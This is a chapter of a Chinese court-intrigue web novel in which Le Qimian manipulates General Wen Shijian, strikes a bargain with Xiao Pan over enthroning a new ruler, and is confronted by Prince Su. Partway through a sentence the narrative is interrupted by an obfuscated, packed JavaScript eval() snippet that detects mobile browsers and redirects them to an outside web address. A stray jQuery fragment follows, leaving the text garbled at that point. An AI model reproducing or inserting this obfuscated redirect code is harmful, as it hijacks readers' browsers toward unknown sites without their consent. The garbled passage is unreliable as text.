在闻师俭话音落下的同一刻,所有鹰奴都看向乐绮眠,惊疑不定。
乐绮眠在众目睽睽中解下手套,捡起一把梁剑:“闻将军想知道国相为哪柄梁剑所伤,我相告无妨,但国相伤重,的确与我无关。”
闻师俭冷道:“林中梁军尽数覆灭,唯你一人幸存。肃王既不杀你,也不以你逼降乐斯年,若说你没有参与围杀,只怕三岁小儿也不信!”
闻师俭看向她腰间那把天祜,用意再明显不过。
乐绮眠浅笑晏晏:“看来禁闭没让闻将军学聪明,还是闻氏惯来不把君王放在眼中?闻将军以下犯上、僭越妄为,以为自己还能走出奉京?”
闻师俭眼中冰冷,但笑说:“以上犯上?你以为陛下为何派肃王统领御卫?器重肃王?恰恰相反,他不过陛下为太子安设的铺脚石!你若以为追随肃王能安享富贵,那便太天真。”
他提剑走向乐绮眠,剑尖划过地面,发出刺耳尖鸣。
乐绮眠道:“哦?这我倒不知。不过,我可以告诉将军,国相重伤,肃王未必是主谋。”
她手无寸铁,却毫无惧色,闻师俭猝然停步,紧盯着她:“你知道什么?”
乐绮眠说:“纳降当日,是国相作乱在先。他是否同将军说过,为何压上阖家性命,也要殊死一搏?杜荃又为何在国相重伤后,出面安抚闻家将领?”
闻师俭听出她话中深意,脸色微变。闻仲达交代过,他会在纳降时以清君侧的名义铲除肃王,保太子周全。他起先觉得,此事太过仓促,原来,是陛下先存了杀心。
闻师俭道:“没有闻氏,太子站不稳脚跟,陛下不可能过河拆桥,你在撒谎!”
乐绮眠含笑,几乎恶意地说:“翦除闻氏和扶立太子可从不矛盾,我的话放在这里,将军且看是否应验。杀了肃王,太子不但不会感谢闻氏,还会责怪将军,让他与陛下生出嫌隙。”
天狩帝设御卫是为太子铺路,可若踏上这条路要以闻家为祭品,太子会站在闻家这边,还是弃车保帅,结果显而易见。
闻师俭敢对肃王不敬,正是倚仗太子,如今被掀了摊子,生出怒意:“挑拨闻氏与太子,是肃王派你这么做?!”
乐绮眠摇头:“肃王坐拥精兵强将,何须派一名人质出马?我不过为自保,提醒将军一二。”
闻师俭心神不宁,缓慢放下长剑。乐绮眠的话不可尽信,但有一点说得不错,闻家必须有自己的打算,不能将所有筹码压在太子之上。
“现在去信燕陵,”闻师俭叫住副官,“陈明肃王谋害国相一事,问策太子。”
太子能为国相据理力争是最好的结果,可若要闻家忍下此事,闻家的末路,恐怕已经不远。
副官道:“是。”
闻师俭转头说:“你说为自保,可肃王待你不薄,你出卖他,可想过后果?”
乐绮眠道:“将军尚且认为武安侯之女不应苟安求和,难道我生在侯门,不通晓这个道理?离开春还有半月,将军若想除肃王,这是最后时机。我可为将军传递军情,事成,将军放我离开北营,我自感激不尽。”
“看来你与肃王,不过如此,”闻师俭鹰目紧盯乐绮眠,扯开一个笑,“也好,往后肃王有任何异动,报来与我。闻氏诛灭肃王之日,便是你离开北营之时,但你若敢两面三刀——”
他的眉目在烛火下森诡阴寒,如蛇如蝎。
“闻某必杀你饲鹰,斩下你兄长头颅佐酒。”
***
鹰舍内的烛光暗下去,随着闻师俭的脚步声远去,地面多出一道人影。
“能言善辩,巧舌如簧,”萧蟠从昏暗中走出,抚掌道,“姑娘也是这样欺骗肃王?”
乐绮眠道:“萧将军亲自试一试,自然解惑。”
萧蟠哈哈大笑,却没有靠近,状似玩笑道:“这招险之又险,待老三发觉你送来的消息有异,以他的脾气,姑娘可活不到肃王施救。”
他给出剑痕的线索,为的就是让闻师俭查到乐绮眠头上,至于她想如何利用闻师俭,便要看她如何打算。
“我为姑娘引老三上钩,若被察觉,他不会放过萧某,”萧蟠似笑非笑,“你没能说动肃王接受萧氏,这一回算你赊账,萧某从不做亏本的买卖,姑娘可想好如何补偿?”
乐绮眠站在灯火中,没有立刻给出答案。
萧蟠道:“姑娘犹豫不决,萧某却有一个点子。此次南征,获取犒师费是其次,将奉京收入囊中,才是陛下,也是萧氏的初衷。”
鹰舍不是谈话的好地方,但萧蟠不拘一格,让属下取出一套茶具,置于案上,邀乐绮眠入座。
乐绮眠落座后,缓声说:“愿闻其详。”
萧蟠道:“天子久居应州,便离退位不远。姑娘送梁君离京,无非为将他赶下龙椅,但依我看,皇位落入小太子手中,乐家也未必有翻身的一日。”
乐绮眠笑说:“我让闻师俭与太子离心,萧将军也想效仿此举,挑拨梁室君臣?”
萧蟠摇头,谦逊道:“恰恰相反,我是为姑娘考虑。小太子为提振人心,必然与梁君割席,如此,不但不会为乐家洗脱罪名,更会追究姑娘放走梁君之过。肃王身居高位,不可能事事为姑娘打算,与其依附地位悬殊之人,何不为萧氏所用?”
傅厌辞对萧蟠心存戒备,远不到能共赢的地步。乐绮眠看似依附肃王,实则与他貌合神离,与其让她投向对方,不如人尽其才,物尽其用。
萧蟠说:“现在有一个机会,不仅能助姑娘解除戴罪之身,也能帮姑娘摆脱肃王,与兄长重聚。”
乐绮眠道:“是什么样的机会?”
萧蟠说:“由姑娘参与挑选一名梁臣,我与老三扶持此人称帝,为姑娘洗脱罪名,也还奉京安宁。如此,两全其美,姑娘以为,如何?”
“改立新君?”乐绮眠唇角浮现笑意,似觉得荒谬,“这是比弑杀郡王更悖逆之举,萧将军是陷我于不义之地啊。”
烛火昏黄,却没有减损乐绮眠的容貌,她侧脸沉在阴影中,有如玉塑。这个提议太过冒险,不提朝臣如何看待乐绮眠,只要李氏复辟,乐氏兄妹必然第一个被押上刑架。
萧蟠笑道:“肃王鬼鹫人出身,一样降服于大苍,姑娘的处境甚至比不过肃王,还想至贞不变,那不是天真,是愚钝。”
当初肃王为了反抗北苍,国破家亡,大梁如今人心涣散,甚而抵不过鬼鹫,除了纳土称臣,只有死路一条。
乐绮眠轻轻撇去茶沫,没接他的茬:“肃王不会认可闻氏选出的新君。再则,若肃王与闻师俭察觉将军的用意,你可会腹背受敌。”
萧蟠笑了起来:“姑娘很聪明。”
“只是,改立新君非我一人之见,你知杜荃为何被派到奉京?其实,陛下也有改换梁君之意。既然迟早要选出一人,让肃王和老三为此争斗,直至赢家胜出,你我坐享其成,岂不有趣?”
“赌徒从来没有好下场,”乐绮眠眉梢微动,提醒道,“将军为何以为自己能幸免?”
在投奔谁这件事上,萧蟠非常谨慎,让乐绮眠牵线搭桥,除了试探肃王的反应,也是在衡量他的野心。若肃王故步自封,他会立刻收回所有示好。萧蟠只选择最后的赢家。
萧蟠道:“你我这种小人物,能有几回坐收渔利的机会?姑娘在鹰刑时以命作赌,是比萧某更疯狂的赌徒。这一赌不伤及性命,姑娘难道会畏惧?”
鹰舍阒静,寒风被隔绝在外,乐绮眠能清晰听到自己的呼吸。不可否认,将回城的机会系于傅厌辞一人,若他反悔,乐绮眠将极为被动。
萧蟠开出的条件极具诱惑力,若利用得当,不失为击退征南军的转机。
“既如此——”乐绮眠说话时,端起茶杯,与萧蟠碰了碰,“那便以茶代酒,先谢过将军。”
萧蟠笑意加深:“姑娘看似孱弱,但萧某看得出,你比男子更能谋善断。不必言谢,我也敬姑娘一杯,祝姑娘得偿夙愿。”
瓷杯相碰,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294391|167077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清脆悦耳。这一刻,两条毒蛇都发现了彼此——其实,乐绮眠从回京那刻起就在赌,也做好了扶摇直上,或失败身死的准备。
那么再赌一次,又有何妨?
***
乐绮眠离开鹰舍后,没有回帐,趁着天色尚早,来到陆冕的营帐。
“陆大人不在帐中,”侍卫说,“他去了大帐拜会殿下。”
萧蟠提到,天狩帝早有改换新君之意,傅厌辞此时会见陆冕,未免巧合。乐绮眠心中有所预感,往大帐去,刚到帐外,陆冕恰好掀帘而出,面怀忧色。
乐绮眠道:“陆大人。”
陆冕停下脚步,两人也有几日未见,他的态度却不生疏:“乐小姐?你去见肃王?”
乐绮眠道:“我来见陆大人,有一事与大人相商,大人明日可在帐中?”
陆冕怔了下,反应过来,谨慎道:“当然,老夫时刻恭候,小姐要与老夫商议何事?”
乐绮眠正要简单交代,前方忽有御卫道:“殿下召乐小姐议事,请小姐随属下入帐。”
巧了。
乐绮眠心知她还在傅厌辞监视下,止了话头,和陆冕略作解释。
陆冕了然,颔首道:“姑娘先应付肃王,老夫在帐中等候。”
乐绮眠掀开帐帘,两步入内。傅厌辞坐在长案后,用手指梳理烛的尾羽,见她到来,也没抬头。
乐绮眠看见那双手套,想起在雪林时,为了压制她的望舒,傅厌辞摘下过一回。当时情况紧急,现在再看,他极少将双手示诸于人,那次竟然算破例。
“殿下不说话,”乐绮眠拉开椅子坐下,笑了笑,“又为何将我召到帐中?”
乐绮眠的声音其实很好听,像冬日里柔暖的蜜酒,随着轻笑漾开清波,让人耳软骨酥。傅厌辞不必抬头,也知道她笑意温软。前提是,她并非对谁都如此,也没有滥用这种天赋,哄骗旁人。
“有人以为,你会受保下俘虏一事牵连,说要代你受过,”傅厌辞松开烛,将它放回鹰架,“既然是你救下的人,不如由你决定,是承担罪责,还是他代你受过。”
陆冕主动找上傅厌辞,原来是为此事。
乐绮眠道:“为殿下杀闻师俭,总够功过相抵?”
西大营遍布傅厌辞的耳目,鹰舍也不例外。从萧蟠踏入鹰舍起,傅厌辞便猜到,她为了达成目的,又在与萧蟠虚与委蛇。
傅厌辞道:“说服了陆冕代你受过,又哄骗萧蟠为你杀人,将所有人耍得团团转,这便是你的功过相抵?”
乐绮眠微微一愣,笑道:“我何时让陆冕代我受过?哄骗萧蟠,也子虚乌有。他的确提起改立新君一事,但依我之见,贵国总有撤军的一日,勤王军若再次南下,新帝未必能掌住奉京。”
这是乐绮眠的真心话,她与萧蟠以利相交,没有泼对方冷水的必要。但傅厌辞知道她心系李氏,在这件事上装乖巧,不如开诚布公。
可傅厌辞早已没在听她说了什么。
他说不会助乐绮眠除去闻师俭,她竟当真将他扔在一旁。今日得知她与萧蟠私会,一种气短的感觉立刻涌遍全身,让他想剖开乐绮眠的胸膛,看看她是不是当真没心没肺。
傅厌辞冰冷道:“助梁君逃脱的账尚未清算,又唱衰新帝,西大营是让你随心所欲的西北军,还是予求予取的太师府?”
乐绮眠正要端起茶盏送到嘴边,闻言,茶水恰好入口,又冷又涩,冻了她一下。
连杯热茶也欠奉。
乐绮眠叹了口气,整袖起身:“既然殿下不欢迎,我也不自讨没趣,待解决闻氏,我再……”
话没说完,她右手忽然被捉住,刚抬头,就撞入傅厌辞深暗的双眸。
傅厌辞盯着她的小臂,眸光沉沉:“这是何时所生?”
何时所生?
乐绮眠不解其意,低头看去,才发现她起身时,衣袖滑落至小臂,露出一截手腕。
和纳降时不同,那里多了一朵红莲。